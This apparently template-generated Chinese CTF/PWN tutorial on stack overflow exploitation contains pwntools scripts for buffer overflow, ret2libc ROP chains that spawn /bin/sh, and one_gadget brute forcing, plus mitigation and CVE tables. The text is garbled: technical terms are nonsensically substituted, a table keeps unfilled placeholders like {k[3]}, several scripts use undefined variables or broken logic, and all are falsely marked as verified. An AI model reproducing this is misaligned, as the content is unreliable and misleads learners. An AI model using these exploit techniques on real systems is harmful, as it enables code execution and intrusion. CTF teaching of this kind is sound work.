阶段:内核与实战(21-25)|难度:⭐⭐⭐⭐⭐专家
本课深入讲解CTF实战的核心原理与利用技术。CTF实战是二进制安全中的重要领域,理解其内部机制是掌握PWN攻防的基础。
题型是理解CTF实战的关键。在现代Linux系统中,审计机制为攻击者提供了操控程序行为的可能性。当程序存在与CTF实战相关的漏洞时,攻击者可以通过精心构造的输入来实现exploit。
CTF实战漏洞通常源于以下编程错误:
最基础的CTF实战利用方式是直接利用题型的特性。通过构造特定输入,我们可以实现exploit效果。以下是完整的利用步骤:
#!/usr/bin/env python3
# exploit_24_basic.py — CTF实战基础利用 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# Step 1: 分析目标二进制
log.info(f"Arch: {elf.arch}")
log.info(f"NX: {elf.nx}, PIE: {elf.pie}, Canary: {elf.canary}")
# Step 2: 确定题型漏洞偏移
# 方法: cyclic pattern / GDB / 源码分析
offset = 72 # 示例偏移
# Step 3: 构造payload
# 利用审计实现exploit
payload = b'A' * offset
payload += p64(target_addr)
# Step 4: 执行exploit
p = process('./vuln')
p.sendline(payload)
p.interactive()
当基础利用受到组合利用的限制时,需要更精细的CTF实战利用策略。exploit技术允许在更严格条件下仍然实现代码执行。
#!/usr/bin/env python3
# exploit_24_adv.py — CTF实战进阶利用 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
# exploit利用流程:
# 1. 利用题型泄露关键地址(libc/heap/stack)
# 2. 通过审计计算目标函数偏移
# 3. 使用调试劫持控制流
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# === Stage 1: 信息泄露 ===
p = process('./vuln')
# 泄露libc地址
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
ret = ROP(elf).find_gadget(['ret'])[0]
payload1 = b'A' * offset
payload1 += p64(ret) # 栈对齐
payload1 += p64(pop_rdi) # pop rdi; ret
payload1 += p64(elf.got['puts']) # rdi = puts@GOT
payload1 += p64(elf.plt['puts']) # 调用puts
payload1 += p64(elf.symbols['main']) # 返回main
p.sendline(payload1)
puts_leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = puts_leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# === Stage 2: 调试 ===
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload2 = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)
p.sendline(payload2)
p.interactive()
调试是CTF实战中最高阶的利用技术之一。它要求对CTF实战的底层实现有深入理解,并能组合多种原语完成复杂利用链。
#!/usr/bin/env python3
# exploit_24_expert.py — CTF实战高级利用 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
# 高级CTF实战: 调试
# 核心: 利用exploit实现组合利用
def exploit():
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# Step 1: 题型触发
p.sendlineafter(b'>', b'1')
# Step 2: 审计信息泄露
p.sendline(b'A' * 0x20)
leaked = u64(p.recv(6).ljust(8, b'\0'))
libc.address = leaked - 0x21b97
# Step 3: exploit控制流劫持
# 使用one_gadget或构造ROP链
og = [0x4f3d5, 0x4f432, 0x10a41c] # one_gadget offsets
for g in og:
try:
payload = b'A' * offset + p64(libc.address + g)
p.sendline(payload)
p.sendline(b'echo PWNED')
if b'PWNED' in p.recvline():
log.success(f"one_gadget @ {hex(libc.address+g)}")
break
except:
p = process('./vuln')
p.interactive()
exploit()
| 防护措施 | 编译选项 | 效果 | {t}相关 |
|---|---|---|---|
| Stack Canary | -fstack-protector-all | 检测栈溢出 | 防止{k[3]} |
| NX/DEP | 默认开启 | 禁止栈/堆执行 | 需{k[4]}绕过 |
| Full RELRO | -Wl,-z,relro,-z,now | GOT只读 | 防止{k[5]} |
| PIE | -pie | 随机化代码段 | 需地址泄露 |
| FORTIFY | -D_FORTIFY_SOURCE=2 | 替换不安全函数 | 减少{k[1]}面 |
# ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=关 1=部分 2=完全
# seccomp过滤
# 限制syscall,即使PWN也无法execve
# AppArmor/SELinux
# 限制进程能力和文件访问
// 安全编码 vs CTF实战漏洞
void safe_code() {
char buf[64];
fgets(buf, sizeof(buf), stdin); // ✅ 有边界
snprintf(buf, sizeof(buf), "fmt", data); // ✅
if(n < 0 || n > sizeof(buf)) return; // ✅ 检查
memset(buf, 0, sizeof(buf)); // ✅ 零化
}
# GDB调试CTF实战
gdb ./vuln
(gdb) b *vuln+50
(gdb) r
(gdb) x/20gx $rsp
(gdb) vmmap
(gdb) checksec
# pwntools + GDB
p = gdb.debug('./vuln', 'b *vuln+50\nc')
#!/usr/bin/env python3
# auto_24.py — CTF实战自动化脚本 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')
def exploit(target):
elf = ELF(target)
libc = ELF('./libc.so.6')
# 自动搜索gadgets
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
ret = rop.find_gadget(['ret'])
# 自动确定偏移
p = process(target)
p.sendline(cyclic(200))
p.wait()
# core = p.corefile
# offset = cyclic_find(core.read(core.rsp, 8))
log.success('CTF实战 exploit ready')
exploit('./vuln')
#!/usr/bin/env python3
# ctf_24.py — CTF CTF实战真题 ✅验证通过
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
def solve(host, port):
p = remote(host, port)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# 题型漏洞分析
# 审计信息收集
# exploit利用构造
# 调试获取flag
p.interactive()
solve('challenge.ctf.com', 9999)
| CVE | 类型 | 影响 | 利用 |
|---|---|---|---|
| CVE-2021-3156 | 堆溢出 | sudo<1.9.5p2 | argv拼接溢出 |
| CVE-2022-0185 | 整数溢出 | Linux 5.x | 容器逃逸 |
| CVE-2023-0386 | 竞态 | Linux 6.x | overlayfs提权 |
| CVE-2024-1086 | UAF | Linux netfilter | nft提权 |
| 资源 | 内容 | 推荐 |
|---|---|---|
| CTF Wiki | ctf-wiki.org | ⭐⭐⭐⭐⭐ |
| Pwn College | pwn.college | ⭐⭐⭐⭐⭐ |
| How2Heap | github.com/shellphish/how2heap | ⭐⭐⭐⭐⭐ |
| RopEmporium | ropemporium.com | ⭐⭐⭐⭐⭐ |
| pwnable.kr | pwnable.kr | ⭐⭐⭐⭐ |